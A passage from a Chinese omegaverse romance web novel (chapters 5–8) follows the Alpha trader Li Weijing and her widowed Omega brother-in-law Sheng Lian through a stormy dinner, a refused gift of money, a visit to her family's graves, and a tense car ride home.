眉骨微凸而深邃,杏眼收敛眼角垂下,无辜感殆尽,增添几分倦怠感。
红唇叼烟,唇角逸出一息白雾,萦绕她面容,清冷而厌世。
“啊。”
盛莲惊讶出声,认出眼前人是谁。
迎着晚风,他往前奔跑。
蓝色长西装风衣被风吹得鼓荡,彻底翻飞起来,像是一只仙鹤展开美丽的羽翅。
地上是摔掉的水果袋,圆圆的橙色水果满地滚落。
盛莲奔跑着。
在风里,所有的郁闷痛苦一扫而空。
而在不远处,是站立的李维京。
女人双手夹烟,没什么表情。
可看着他奔跑过来,忽然微微笑了。
5. 第 5 章
单手抱五六个橘子,盛莲另一只手勉强拿钥匙开门。
李维京想要帮忙,他连连拒绝。
“你能来,我就很开心了。”
男人如是说道。
钥匙旋开锁,开门,一个橘子趁机逃跑,往半空跳。
维京手掌一摊,再一握,抓住这个逃跑的橘子。
盛莲侧身,看到她利落的动作,忍不住微笑。
“橘子半边压扁了,不能吃了。”
听见维京的话,盛莲急忙凑近看,嘴上说没关系。
这点小事,维京无所谓坚持,便没有丢掉水果。
见嫂嫂还在门口等她,她开口道:“嫂嫂你先进去。”
答应着,盛莲抱着怀里的水果匆匆往客厅走去。
放下水果,男人急急跑回来,弯腰从鞋柜里备出合适的拖鞋。
“维京,你坐。”
“我去厨房备点水果点心。”
话音刚落,盛莲已经旋进厨房。
换好拖鞋,李维京缓步走到客厅。
这不是她第一次作客,环顾四周,变化不大。
客厅沙发、茶几、液晶TV,旁边的饭厅,单开门冰箱、饭桌,桌上一束半枯萎的鲜花。摆设整洁简朴。
饭厅与客厅中间,是厨房的流理台。
一阵洗切摆盘,盛莲端出新鲜草莓、红丝绒蛋糕。
蛋糕碟摆着一把金匙,水果盘边也翻着一个银质叉。定睛看,草莓蒂已然一一去除,只余鲜艳可口的草莓。
“嫂嫂,草莓我不吃带籽的。”
李维京有心玩笑。
盛莲愣了下,下一秒,手已经去端盘想要去籽。
维京即刻笑出声。
“开玩笑的,嫂嫂。”
女人解释道。
而盛莲没有丝毫气恼,微微笑着摇头。
“还以为你去南非小半年,嘴巴更加挑剔了。”
“那地方有的吃,就不错了。”
维京回应道。
窗外乌云密布,雷声隐隐。
第一声响雷,轰然炸开。伴随它降临的,是一道青灰的闪电。
“天色不好。”
盛莲主动提出,“要不待会走?”
李维京随意点头。
自己的提议得到肯定,男人眉眼悄然绽放欣喜。
“那你,吃晚饭了吗?”
“吃了晚饭再走吧。”
他小心翼翼地抛出话来。
此时的盛莲,坐在侧边的单人沙发。
蓝色西装长外套已然褪去,他露出内衬的白色衬衫,立领衬衫的纽扣扣到下颌处,几分禁欲。
男人整个人沐在白炽灯光下,像是笼在一片云雾,本该疏离于尘世,那饱含脆弱精致的眉眼又迅速拉着他坠落人世。
他侧身,手搭着右边的沙发扶手,脸也朝右边。
而右边,是李维京的所在。
想了想,李维京再次答应。
“好啊。”
这两个字宛如圣旨,轻轻落下。
盛莲松了口气。
男人眉眼一扫脆弱哀愁。
很快,他起身,边往流理台去边问:“想吃什么?我给你做。”
“都可以。”
李维京随口答。
“寿喜烧怎么样?”
系着围裙,盛莲打开冰柜冷藏,语气染上为难。
“牛肉卷不多了,要不我出去买点新鲜的。”
“我不是很饿,凑合凑合得了。”
“反正在外跑,差点连老鼠肉都吃到。”
盛莲听得一怔。
眼看他楞在流理台旁,李维京笑道:“嫂嫂,你心疼啊?”
她不觉得这是吃苦,语气嬉笑。
把头一低,盛莲额发遮住眼睛,不想维京看到自己此时的表情。
鼻尖突然红起来。
捏住蚝油瓶,他开始准备调料。
“自制的寿喜烧底料,之前改了调味比例,口感更好点。”
然后盛莲熟练地切洗蔬菜,备菜。
大葱切段,倒油烧热,奉上两三牛肉、大葱段煸炒,散发香味,再倒入调好的寿喜烧酱料,与之混合,摆好蔬菜、牛肉卷,最后倒入烧好的高汤。
电磁锅架上,调整底下电磁炉火力,进入火锅模式。
寿喜锅泛起涟漪。
处理完各种工作联络,李维京瘫在沙发上,无所事事地发呆。
窗外雷声隐鸣,时有闪电。
而屋内,厨房里,热气蒸腾,漫过男人此时专注的眉眼。
一个闪电无声炸开,房间里愈发亮。
“看来要下雨。”
盛莲忽然喃喃自语。
“今晚,就不走了吧?”
说这话时,他看着小小冒泡的寿喜锅,像是对锅子自言自语。
可维京知道,他在问自己。
难得闲暇,李维京瘫在沙发上不动,困乏起来。
哪怕现在来份几十万外快,她也懒得动。
见人没有回话,盛莲继续看着锅子。
“我两周前才去打扫过你家,怕是积了灰,肯定没有每日住人的房子舒服。”
“要不,今晚就住在这里?”
寿喜锅咕嘟咕嘟冒泡,声音大得像男人心里在擂鼓。
清澈的褐色汤汁一览无余,泡沫一个个鼓起,又碎裂。
迟迟没有回音。
最后,盛莲也觉得自己贪心。
念头转了又转,转了再转,他想还是改口说只是随口挽留吧。
嘴唇却抿住,说不出口。
“等会再说。”
半晌,李维京困顿的声音传来。
沙发躺得很舒服,她险些睡着。
一个巨大的泡沫鼓起,啪的破开,差点溅到盛莲。
他却浑然不觉,身心都在琢磨李维京的话。
也许,维京会留下过夜?
牵起的嘴角忽然压不住。
一个泡沫再起,盛莲主动拿筷子去戳。
寿喜烧煮好。
把锅端上饭桌,弄好无菌鸡蛋、摆碗筷等,盛莲张罗着吃饭,把盛好的米饭放到维京座位前。
第一口牛肉卷送入口中,李维京的胃被美食与暖意熨帖。
她竖起大拇指,大力夸赞嫂嫂的厨艺。
灯光下,盛莲眼睛亮晶晶的。
吃完饭,饱暖思睡意。
盛莲催她去客厅休息,女人依言躺倒在沙发上,昏昏欲睡。
在南非,陌生环境、安全不稳定、时有暴乱等因素,李维京的睡眠被蚕食成一小片、一小片,如小小的麦片。
回家以后,面对偌大的独居空间,她骤然梦中惊醒的毛病也没有明显改善。
在盛莲家,闻着残余的寿喜锅香味,听着厨房水槽哗哗放水的声音,女人沉沉地睡过去。
夜深忽梦少年事。
直至一个惊雷,李维京睁眼醒来。
她坐起身,盖着的毛毯滑落。
客厅正中央的灯熄灭,沙发角落一盏落地灯开着,光影朦胧。
角落的沙发坐着人,逆光看不清晰。
“嫂嫂?”
李维京不确定地喊道。
沙发逆光的人影微动,站起走过来,弯腰捡起女人滑到腿边的毛毯。
低低应声,盛莲俯身,轻声问:“醒了吗?”
灯光描着他的身形,打出一层金色的光,仿佛置身于圣光,朦胧又模糊。
逆光试图勾勒出他的轮廓,却不甚清楚,唯有含情的眼睛,像是一滴清晰的泪坠入女人的心底。
一切形如幻梦。
梦里不知身是客。
维京伸手去触碰这梦。
含情凝睇的眼睛微微睁大,有些惊讶。
但下一秒,这双眼睛的主人就温顺俯首,脸微微偏向女人温暖的手心,动作小心翼翼。
女人的手并不柔软,指腹、掌心结有薄茧。
触碰脸颊时,手掌触感略微粗糙
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。
然而,这种小粗糙带来的感觉,却教人越发敏感。
眼皮颤动,红痣抖得厉害。
睫毛频频扇动,像是蝶翅,一张一合,都在感受这细微而敏锐的刺激。
掌下脸颊滑腻柔软,像是温热的羊脂玉,女人爱不释手,摸了又摸。
“呜……”
男人柔红的嘴唇溢出轻微的声音。
像是愉悦的叹息,又像是不满于此的呻/////吟。
灯光朦胧,室内信息素悄然滋生。
柔柔淡淡的香甜、漫不经心的风雪玫瑰,互相挥发,织成一时暧昧。
一切都在梦中。
旧欢如梦。
十七岁的李维京父母恩爱,人生顺遂,奔跑在旷野只会肆意张扬地大笑。
她触碰的,是过去的佳姐,是不在了的爸爸妈妈。
“轰——!”
惊雷炸裂。
夜空里白色的雷彻底炸开,劲风袭来,一扇窗啪的打在玻璃上,合上的窗帘被疾风扯开,强硬地灌进潮湿的雨夜味道。
满室潮湿风雨味,彻底冲散室内的信息素。
一只无形之手,迅速攥走室内莫名的暧昧。
杏仁眼睁了睁。
伸出的手猛地收回,按在沙发上。
“抱歉,嫂嫂。我睡糊涂了。”
她抬手看看手上的抑制剂腕表,信息素飙升。
心知不妙,女人掀开毛毯,攥烟冲往卫生间。
李维京来不及解释,只留下Omega一个人站在客厅。
盛莲垂眼,抬手抚上刚才被触碰的脸颊,温热犹在。
满室潮湿,男人深深吸了口,想要感受Alpha残留的信息素。
只有冷冷淡淡的风雨。
这提醒着Omega:他的幻梦结束了。
点了四五根烟,尼古丁慢慢抚平本能的躁动。
卫生间,维京靠墙调整腕上的表,抑制剂腕表自带的信息素稳定剂不多了。
她刚吞咽下去,抑制作用还要等一会儿。
“跟你嫂嫂这种绝世美O待着,一刻都不动心,真的很难啊!”
想起安娜夸张的话语,维京忽然笑笑。
那不过是推脱之词。
她再次点根烟,想着等会出去,这件事该轻描淡写地过去。
但也该跟嫂嫂道歉。
开窗散去烟味。
在卫生间,静静待了好一会儿,确认信息素稳定,李维京这才开门出去。
开门,嫂嫂盛莲就站在门外。
一撞上女人的眼睛,Omega立刻后退两三步,问道:“我妨碍到你了吗?”
惴惴不安的语气,仿佛做错事的孩子。
李维京叹口气,“该道歉的是我,嫂嫂。”
“对一个Alpha来说,信息素突然控制不住,是很糟糕的事情,还差点影响到你。”
“我真的很抱歉。”
盛莲应声,没说什么,低垂着眼不知道想什么。
“那维京你,还会留下来过夜吗?”
半晌,Omega问道。
他声音轻轻,很不确定。
李维京愕然,即刻回答。
“按道理,Alpha和Omega不该共处一室,容易出事。”
“我就不留了,现在就回。”
闻言,盛莲霍然抬头,水润眼睛闪着光,好伤心。
但是他找不到合理的理由,只能一路跟着李维京,看着她套上外套,取出雨伞,手握在门把上打算回去。
旋开门锁,李维京探身往外,身后传来盛莲的声音。
“外面下雨了,还是留下吧。”
“虽然说普通AO不能共处一室,但是,我们并不一样。”
“说到底,我是你嫂嫂,Omega身份都要排在这辈分后面。”
之于盛莲,这是最糟糕、最不愿意承认的事情。
然而,为了挽留李维京,他还是说出口。
6. 第 6 章
“嫂嫂,不用等我。”
咔擦一下。
门打开,人影消失。
锁芯收缩弹起,门扉开了道缝。
楼道声控灯的余光钻进来,照不进这黑暗的屋子。
黑暗中,男人形单影只。
门缝漏出一线光,照在盛莲脸上,像是一行静静流淌的泪水。
在维京眼中,跟其他讨厌的长辈比起来,自己这个嫂嫂到底是不同的。
可是,当她做出决定,自己的借口或请求,全部无效。
外面的声控灯熄灭,整间房子也陷入巨大的黑暗,空洞洞的。
门口鞋柜的小感应灯闪了闪,微弱的光驱散不了这坟墓般的黑暗。
盛莲木然走过去,想要顺手关门。
楼道的声控灯再次亮起来,脚步声逐步清晰。
“嫂嫂,我回来了。”
维京说着,打开门。
楼道的光汹涌而来,男人不适地闭上眼睛。
很快,他又睁开。
“你……没走吗,维京?”
怀疑是自我幻想,盛莲问得很不确定。
“刚去补充了点抑制剂,还买了点水果。”
“夜深不好找店,刚出去发现小区附近有几家店铺快打烊了,趁势赶紧买回来。”
说着,李维京顺手开灯,找了拖鞋换。
闻言,盛莲被灯光照亮的眉眼,再次动人起来。
催她回客厅休息,盛莲准备起客房的床褥洁具等。
李维京进客房想搭手帮忙,被嫂嫂推出去。
“你能留下过夜,我就很开心了。”
盛莲说着,回身继续打扫客房。
女人却有所触动,回想刚才挽留的一幕。
说道自己不过是嫂嫂罢了,盛莲微微侧脸,咬着唇,语气细弱至极。
灯光打在他身上,影子薄薄的一片。
是在那一刻,李维京忽然想到,嫂嫂跟自己一样,在世也是孑然一身了。
突然的共鸣,让她不忍舍弃嫂嫂离去。
Alpha和Omega共处一室的确很危险。
但嫂嫂跟自己不一样,是靠亡者维系情感的孤独共同体。
所以,李维京决定留下来。
以防万一,作为冒险商人的她买了有效抑制剂,避免有可能出现的尴尬局面;另一方面,作为亲人的她,买回新鲜水果,送给嫂嫂表达心意。
维京取出袋里的新鲜橙子,将圆圆的橙色水果一一摆放开来。
转出客房,收拾好的盛莲要招呼维京,看见茶几上排列整齐的橙子,不禁微笑。
用手滚过一个矮胖小橙子,维京将它递给嫂嫂。
“嫂嫂,你吃。”
盛莲接过,摩挲光滑的果皮,忽然很不好意思地开口。
“傍晚买的橘子,也还能吃。”
说的是傍晚时分,维京在楼下等待时,他不小心摔地上的橘子。
见他努力维持着自己的生计尊严,李维京谅解地笑笑。
“我也想吃。”
盛莲脸微微红,神情有些窘迫。
“那种烂橘子,怎么能给你吃……”
他永远想把最好的,给维京。
虽然自己不配最好的维京。
一闪而过的念头,让Omega的心敏感丰沛。
他低下睫毛,迟迟未动。
“嫂嫂,我们今晚先吃橙子。”
随着维京的招呼,盛莲抬头应声,走过去。
茶几旁,两人坐着分享水果。
李维京把剥开的橙瓣递给他。
Omega咬住橙瓣,多汁的果肉溢满口腔,鲜甜充盈味蕾。
其中夹杂些许的酸涩,与蜜甜交融中和,各色天然滋味在舌尖交汇,如一首完整的小曲。
吃着,盛莲微笑起来。
咽下一瓣果肉,他忽然提起从前。
“第一次见你,你也是把水果分享给我。”
仔细想想,李维京难得疑惑:“有吗?”
“有。”
盛莲语气轻而坚定。
“我就记得自己倒吊树枝上,吓了嫂嫂一跳。”
维京咬着橙子,漫不经心道。
“至于分享水果,的确没啥印象了。”
聊过去,李维京也有点兴趣。
“我们第一次见面,也是一起吃橙子?”
“不是。”
盛莲摇头,目光无意看到流理台的果盘,里面几颗傍晚买的橘子。
答案已经呼之欲出,但是隐秘的心思让他莫名担忧起来。
说出来,就像是自己故意的。
“我也不太记得是什么了。”
到嘴的答案,最终改了口。
本是凑趣,李维京也不当真,认真想想,回忆其他。
“见面是在祖母的水果园吧?”
“水果园培养些过去市面不常见的水果,像糯米糍荔枝、山竹等,水土不服,不好养。”
聊起从前,盛莲跟着附和几句。
眼睛时不时扫向流理台那边的橘子,他心底也说不清想被发现,还是不想被发现。
屋外,风雨交加。
屋内,暧昧荡尽,氛围转为温馨融洽。
李维京很是满意。
“对了嫂嫂,我有东西给你。”
李维京说着,敞开外套掏东西。
温情拢着这间屋子,像是毛毯舒服地盖在身上。盛莲也被感染,笑说过去的话题。
“说起来,是你第一个叫我嫂嫂……”
看清维京从钱包拿出的东西,盛莲嘴角的笑容凝住。
掏出张银行卡,按在茶几玻璃上,李维京递过去。
“卡里有五十万,给你。”
盛莲脸庞舒展的笑容,默然敛住。
蓦然抬眼,他不知所措地看着维京,不明白她这个举动的含义。
“这些钱是我这几年赚来存的。”
“当年嫂嫂是唯一一个真担心我,愿意经济支援我的人,所以这份情,我现在该还一还了。”
李维京耐心解释。
她越说,男人脸上的笑意越淡。
他垂眸,眼皮上的小红痣也呆滞着不动。
盛莲不蠢。
维京这番说辞,是看到自己过得一般,借口还当年的情,来让自己物质条件稍微好一点。
扪心自问,他需要钱。
可不是维京的钱。
“不需要。”
盛莲双手按住银行卡,使劲猛地推回去。
卡片推到李维京这边,女人找着理由试图说服他。
“要不你先帮我保管?要不然吴翠等李家人觊觎这钱,也不好。”
一退回卡片,他手指如被烫伤般即刻收回。
听了维京的话,男人也只是低头沉默。
好一会儿,李维京各方面说法都尝试个遍,盛莲也不
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反驳,也不接手,只低头不说话。
做生意时,李维京舌灿如莲,可到了此时,她收获得是口干舌燥。
在这件事上,素来温柔怯弱的嫂嫂,出乎意料的坚持。
长长叹口气,李维京撩了下头发,指尖点击卡片。
指甲敲打卡片边,一下一下,安静下来的房间只剩下这单调的敲击。
安静又单调的房间里,女人握拳轻咳了声。
抬起睫毛看了她一眼,盛莲起身,接了纯净水,盛水的杯子轻轻搁到女人面前。
李维京也不客气,举杯一口气饮尽。
她放下杯子,松开手,盛莲俯身拿杯子。
他始终垂首,目光不接触维京的眼睛。
说时迟那时快,维京也一把抓住杯子,抓住盛莲的手。
盛莲霍然抬头,眼睛睁得大大的,吃惊地看着维京。
李维京满脸严肃,死死盯着他,像是极为生气。
男人心下忐忑不安,大气也不敢出。
他眼皮微微泛红,因吃惊眼睛彻底张开,眼角形状圆润饱满,像是一枝陌上桃花。
噗嗤一声,维京忽然笑了。
女人杏仁眼眯起,鼻头微皱,颇为娇憨。
她一笑,盛莲莫名跟着笑。
方才奇特的僵持,就在两人对视一笑中消融。
“嫂嫂,我好伤心啊。”
李维京换了种方式,以撒娇抱怨的口吻说道,
“你几次三番地拒绝我,我真的好伤心啊。”
以为被指责的盛莲连连摇头,慌忙解释。
“不是的,我,我不能要你的钱。”
“为什么?”
“我们不是一家人了吗?”
杏仁眼眨巴眨巴,李维京满眼无辜。
“我……”
盛莲张了口,只说了一个字,又沉默下去。
见状,李维京加了把火。
“嫂嫂,只有你,是我在意的家人啊。”
如此倾情告白,盛莲的心微微一颤。
只有你是我在意的……
如果没有最后两个字,该多好。
不能贪心。
盛莲清楚地知道,自己没有资格贪心。
那双好看的杏仁眼水汪汪,却倒映不出他的身影。
手掌抵住膝盖,盛莲绷直身体,这才看向李维京。
“我不想……”
“不想对你好这件事,是为了钱。”
男人语气低沉,低下头。
李维京看着他,想不到自己一番攻心,得到的答案如此的荒谬。
如此的……纯粹。
刹那间,她放下在外的假面,轻轻叹了口气。
“我知道了。”
坐起身,李维京把银行卡收起来,难得妥协。
见状,盛莲彻底松了口气。
此间事了,屋外风雨缓和起来,雨声淅淅沥沥,敲打着窗。
“这一次,会在这里待多久?”
盛莲询问维京的归期。
“不确定。”
维京笑了笑,“常年在外跑,回来也没家了。”
“估计这次会待到五月。”
窗外黑漆漆的,雨声淅沥凄婉,伴随风声的呜咽,像在哭。
李维京走了会神,盛莲也不打扰,安静陪伴。
“嫂嫂,过两天陪我去见见爸妈祖母她们。”
最后,她轻声说道。
7. 第 7 章
南方的四月,是踏春时节。
碧绿梯田层层而下,茶树葳蕤生发,放眼望去,春景不胜收。
春山碧透,春日的阳光自上而下,静静地投下来。
茶叶梯田最下面,是条细长的柏油公路,像是一条银白彩带环绕整座山。
公路之上,一辆轿车缓缓刹住。
祖母与维京爸妈葬在半山腰。
晴光大好,碧空明媚。
李维京盛莲两人沿着梯状茶田的石阶上去,两三采茶女看着来人,眼神好奇。
盛莲戴着顶鸭舌帽,把脸压得低低的。
他不耐晒,一到艳阳天就得自备遮□□。
“好像是李家那谁……”
采茶女耳语随风传来,盛莲下意识把头埋得更低。
这是李氏老家最早的茶园,李家老辈起家发迹便在这处。
无数祖辈,也葬在此处墓园。
因为身份不被承认,盛莲从来没来过这。
这一次,还是沾了维京的面子。
今日的李维京寡言沉默。
她只拎着准备好的各种东西,走到半山腰,来到墓园。
李家墓园,一派宁静。
李家世代祖辈,葬于此处。
青山埋故骨。
用两盒烟和些许钱打发了守墓人,李维京这才得以拜祭祖母、父母。
摆上他们爱吃的各种食物,李维京蹲身,点燃火烧起纸币,久久沉默。
一路上,她都反常地不说话。
盛莲也只是陪着她。
刚才的石阶多是泥泞,盛莲一双新白鞋鞋底、鞋面全是泥。
维京烧纸时,盛莲便弯腰擦鞋。
“这不该是下雨天吗?”
李维京忽然开口。
“下雨天能哭一哭。反正眼泪在雨里,没人知道。”
停下擦鞋的举动,盛莲没有说话。
他侧过身,避开维京的眼神。张合的嘴唇,反复练习安慰的话语。
迟迟无声。他开不了口。
他不确定,不确定比起维京失去至亲的痛苦,自己的安慰有多无力、多渺小。
说完任性的话,李维京稍微敛住情绪。
再定睛一看,Omega白皙的手,此时沾染泥巴,像是淤泥里挖出的一截嫩白藕节。
俯身捡起块扁长小石头,李维京凑到盛莲面前,弯腰替他刮掉鞋边的淤泥。
白鞋受惊似的,即刻往里缩,女人修长的手指按压在鞋面示意不要动,用石头一点点刮去泥。
盛莲僵着身体,目光笔直,望着前方。
然后他轻轻低头,看到女人认真的侧脸。
女人的手修长,优雅与韧性并存。
抬头,他看到太阳在跳动。仔细一听,是他的心脏在剧烈跳跃。
雀跃的心脏,像是只快乐的小鸟,恨不得飞出胸膛。
“小京?”
一声陌生疑问,打破此时的幸福幻觉。
声音有些耳熟,李维京抬起头,很快直腰站起来。
“五嫂。”
名为五嫂的女人年纪不小,眼角额头有皱痕,但面容平和。
看到维京,女人即刻露出笑:“好久不见了,小京。”
“你来看父母、祖母吗?”
女人说着,嘴上说着稍等片刻,走了过来,将手里的鲜花分别放于墓碑前。
放好鲜花,进行简单的拜祭、清扫,女人上前,想要拉着维京的手。
李维京不着痕迹地退开一步,微笑。
“五嫂。”
见她疏离态度,中年女人微微失落,却舍不得离开。
“你五叔也来了,走得慢,在后面。”
言下之意是李维京等等他。
五嫂五叔是李家的旁支亲戚,为家族管着老家茶园,跟维京父母是几十年交情。
但李维京父母死后,李家糟心事不断,波及到五叔五嫂,双方渐渐不再联系。
此次拜祭,李维京不确定是否拜访他们。
现在墓园偶遇,她倒也不想把关系搞太僵。
等维京点头答应,五嫂松了口气,这才有余光看到她身边的Omega。
Omega分外美丽。
他安静立在维京身边,骨肉匀称。
头顶鸭舌帽,帽檐阴影投落下去,像是黑色面纱覆在姣美的面容。
神秘而典雅。
眼见女人望着他,Omega微微局促地点头,没有说话。
“这是你喜欢的人?”
联系地点场合,五嫂不疑有他。
不说话的Omega立刻扭脸,用目光看着维京。
“老头子,快来,来看维京喜欢的人。”
五嫂转身招呼,拄着拐杖的五叔慢慢赶来。
看到盛莲时,中年男人一怔。
“别胡说。”
五叔语气严肃,难得反驳妻子的话。
这位是盛莲少爷,跟李氏吴当家大女儿结婚的那位。”
“对。”
李维京接口道,
“五嫂,这位是我嫂嫂。”
五嫂听说过盛莲。
她多年不拜访本家,不清楚他长相。
而五叔跟本家有往来,时常走动,这才一眼认出盛莲。
“哎呀,这是、这是……一家人啊。”
五嫂喃喃道,却控制不住自己的嘴。
“带他来墓园拜祭你爸妈、祖母,还给他刮鞋底泥。”
“怎么不是喜欢的人?”
身旁的五叔用胳膊肘怼了下她,五嫂反应过来,随后莲莲道歉。
“没关系。”
维京表示大度。
婉言谢绝五嫂邀请回家,李维京盛莲二人告辞。
.
下山路上,忽如其来的雨淅淅沥沥。
青翠的枝叶坠下雨珠,滴落二人脑袋上,冰凉而沉重。
维京的车停在山脚。
走到山脚,小雨微停,柏油路一片湿漉漉。
替嫂嫂打开后座车门,耐心等他坐进去,李维京没回前排驾驶位。
“休息一下再走,嫂嫂。”
说着,她合上后座车门,将嫂嫂满脸关怀关在门内。
她几步走到柏油路旁,掏出裤兜里的烟盒,打开铂金烟盒,捡出其中一根烟。
嘴叼住,点燃。
李维京用手夹住烟,深深吸了口。
呼吸的白雾,与香烟的烟雾缠绕。
风雨扯去天空蔚蓝的幕布,天色白茫茫,辨不出方向。
盛莲走过来,便看见李维京在吸烟。
白雾笼罩着她,只见冷淡的轮廓。
慢慢走过来,盛莲轻声道:“时间不早,休息完就走吧。”
含糊“嗯”了声,李维京再抽了口烟。
烟雾再次缭绕在她身边。
看着眼前的白雾,李维京眼神放空。
“嫂嫂你知道吗?”
“以前五嫂五叔他们,以前想过收养我,让我成为他们的女儿。”
她忽然的话语,盛莲轻轻“啊”了一声,没有问什么时候。
维京不肯透露详情,那大约是她父母去世的时候。
“可是现在,我和他们也很疏远了。”
女人语气平静,在说一件已成的事实。
“他们还是关心你。”
盛莲安慰道,掩藏不住自己的私心,还是提起刚才的事。
“不是问你喜欢的人了吗?”
说完,他抬眼仔细看着维京,不想错过她任何表情。
李维京只是无所谓地笑了笑。
“当初我离家外出读书,跟五嫂抱怨过,说我这辈子再也不会爱人了。五嫂当时抱着我哭,说她会每天祈祷我能重新拥有爱人的能力。”
“现在,谁还记得。记得的人,也觉得过去的感情很可笑了。”
说到这,她眉眼透出浓浓的厌倦。
十八岁以后,李维京离家外出读书,毕业四处跑做生意,经历颇
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多。
除了好友安娜以及嫂嫂盛莲,对于过去的亲友,她保有的情感很少了。
连从前亲近的五叔五嫂,也生疏了。
“不会爱人……”
白茫茫的天,归鸟没有去向。
李维京笑一声,红唇吐出一息烟雾。
“这又有什么大不了的。”
盛莲听着,始终沉默。
他默默抬手握住另一条胳膊,手指抓着衬衫长袖,骨节凸起。
听到维京最后一句话,手指骤然一松,从胳膊倏然滑落,没了着力点。
“当年,是五嫂抱着你说那些话吗?”
他忽然问道。
没头没脑的话,李维京偏头想了会,很快放弃。
“当年的事我很多也记不清了。”
当年遭逢人生大变,李维京脑海的一些记忆如纠缠的水藻,无法捋清。
为此她看过心理医生,医生只说是大脑对创造的保护机制起了作用。
痛苦的回忆彻底丢弃掉,也许才是最好的。
盛莲敛眸。
他浓密的睫毛像花。
“真好啊。”
喃喃说着,他忽然笑了,
“维京你还记得有人说过这种话。”
“明明,明明那只是没用的安慰话。”
勉强似得说了这两句话,盛莲再次沉默下来。
香烟呲呲燃烧,在这沉默中渐成枯焦的灰烬。
尼古丁的镇定作用来到,扫除了李维京脑海的多余情绪。
“嫂嫂,可以走了。”
李维京开口道。
用指腹掐灭烟头,李维京丢进附近垃圾桶,走回来,盛莲还在原地保持沉默。
“嫂嫂?”
她诧异地呼唤,盛莲伸出一只手拉住她的袖口。
“给根烟吧。”
盛莲主动开口。
李维京柳眉微挑,还是没说什么,打开烟盒抽出烟递给盛莲。
盛莲接过,不熟练地用两指夹住,烟嘴直直怼到唇边,忘了张嘴。
下一秒,他反应过来,张开嘴。
两瓣红润的唇,含住烟嘴。
李维京适时递过打火机,替他点上。
女人修长优雅的手指靠近时,盛莲下意识屏住呼吸,猛地把烟味吸到嘴里。
“咳、咳咳!咳咳、噗——”
受不了烟的生猛刺激,盛莲呛得咳嗽,整根烟掉地上。
他捂嘴弯腰剧烈咳嗽。
李维京轻轻拍背,十分不解。
“难道看我抽烟,嫂嫂你也想尝试一下?”
盛莲弯腰,捂嘴连连摇头。
李维京摇摇头,她完全搞不懂盛莲。
咳嗽稍平,盛莲抬起头。
他眼皮泛红,眼角敛起又微张,像是一瓣艳丽的桃花被蹂躏。
嘴唇水盈盈,湿而丰润,嘴角一缕涎水晶莹而透明。
此时,盛莲如熟蜜桃般诱人。
倒抽一口凉气,李维京这个直女Alpha也忍不住退一步。
好友安娜成天嚷绝世美Omega,她不怎么当真。
可原来,她潜意识里已经被安娜影响了。
哎。
安娜误我,美色误人。
想到这,李维京凭借残留的尼古丁甩掉芜杂念头。
果断递上纸巾,她示意嫂嫂擦掉唇上水迹。
“天色不早,我们该回去了。”
李维京说道,率先提步去开车。
擦干唇上湿意,盛莲看着维京离开的背影。
忽然,他伸出胳膊,收拢,做出一个拥抱的姿势。
维京的影子长长,落到他怀里。
盛莲欣慰又难过地笑了。
当年的自己,比现在勇敢。
那时候的盛莲,还能抱住十八岁的维京哭着告诉她:他会祈祷她以后拥有爱人的能力。
他从来没想过,维京会回应自己的爱。
可是,盛莲还是高估了自己。
8. 第 8 章
归途无话。
回去的路上,盛莲心底止不住的酸涩,不断咕嘟冒泡。
他还是高看了自己。
想到刚才维京抽烟否定她还是不会爱人,他只感到心痛。
维京怎么会、怎么会……
后座的他倚靠窗,眼睛无数浮光掠影,全不在眼底。
气氛过于安静,前排的李维京打开车载音响。
音乐随机播放,恰好是那一首。
“那女孩早熟像一朵玫瑰,她从不依赖谁*。”
歌声流淌,倔强又迷幻的曲调装满轿车空间。
盛莲的心酸涩像气球,鼓涨起来。
“维京。”
后座的他呼唤道,声音轻轻。
换歌空档,李维京恰好捕捉到,应声。
“你说五嫂她鼓励你爱人。”
话说了一句,盛莲沉默了会,觉得不甘心。
明明是自己。
是当年的自己鼓励了维京。
可是,没有什么比维京更重要。
忍下心中不甘,盛莲继续劝说。
“你的父母也不希望你现在这样。”
“现在哪样?”
李维京反问。
坐在后排的盛莲抬眼,想要从车内后视镜看她的表情。
恰好撞上镜中女人的眼睛。
李维京眼神淡淡,对镜中那怯怯眼眸一掠而过,专注车窗外直行的道路。
“你……生气了吗?”
盛莲不确定道。
女人手指搭在方向盘,不耐地敲击几下。
李维京直觉这个问题有点麻烦,干脆转移话题。
“刚才前面好像闪过一道黑影,是野生动物?”
“嫂嫂,你觉得会是什么动物?”
盛莲没有接口。
他并不圆滑,神情愣愣,不明白这话题该如何接续。
“总不能是熊猫。”
说到这,车内后视镜,李维京瞥见后排的盛莲身体微倾,俨然要把打断的话题继续下去。
李维京选择率先出击。
“不说我了,嫂嫂你这几年过得怎么样?”
“听说你那对烂人父母失踪,没有消息了。”
一旦拿出做生意的果断,李维京的话就像是温柔小刀,人哪痛戳哪。
很明显,盛莲被戳中,被戳疼。
他沉默良久,手指搭上膝盖,勉强维持自己的自尊。
是他自取其辱。
是他试图越过维京的禁忌区。
在李家祖宅,自尊的滋味,他早已经失去了。
在李家祖宅,从身份到父母,他被周遭目光、口舌评判个遍,已经麻木。
可是,这一次,他还是被刺痛。
眨眨眼,忍下眼眶涩意。
盛莲手指神经质地抚平着裤腿的褶皱,一遍又一遍。
终于安静了。
李维京想,滑下半扇窗。
半扇玻璃滑落,风声呼啸。
李维京耳旁鼓荡着风,再没有另一个人急促的呼吸,细细得像是泣音。
不知为何,她烟瘾不大,现在却还想抽根烟。
“不管怎么说,维京的父母不会你继续这样。”
再一次,盛莲开启刚才的话题。
一双杏仁眼不再笑,眼神冷如雪窟。
愤怒冲顶以后,李维京反而冷静下来。
她复盘盛莲现在的行为。
脑海反复想一遍,还是不能理解。
车内后视镜里,两人无意撞到对方眼神。
怯怯的水润眼眸,直直地看着她。
Omega天生脆弱,可盛莲有时候又很执拗。
像那时不肯收她赞助的生活费,很莫名其妙。
抬手,把车内后视镜翻上去,李维京不再想Omega的眼神。
她目光笔直,将脑内多余的杂绪抛在脑后。
盛莲胸口像是有一把尖刀支撑,翻滚血肉提醒疼,又撑着他整个人把想说的话讲完。
“他们会希望你能幸福。”
“幸福?”
李维京咀嚼这两个字,冷笑一声。
“像嫂嫂这样的人,会知道什么是幸福吗?”
“父母卖子求荣,送你到李家来,也不管你当时什么身份,日后只管拿钱花。”
“这样的父母,嫂嫂也舍不得主动离开,我到现在也想不明白。”
方向盘握得牢牢的。
李维京从不允许自己进行攻击时,有很大情绪波动。
她冷静得像是庖丁解牛,言语寸寸分明,疼则是对方的事。
当年,盛莲祖辈跟李家略有交情。
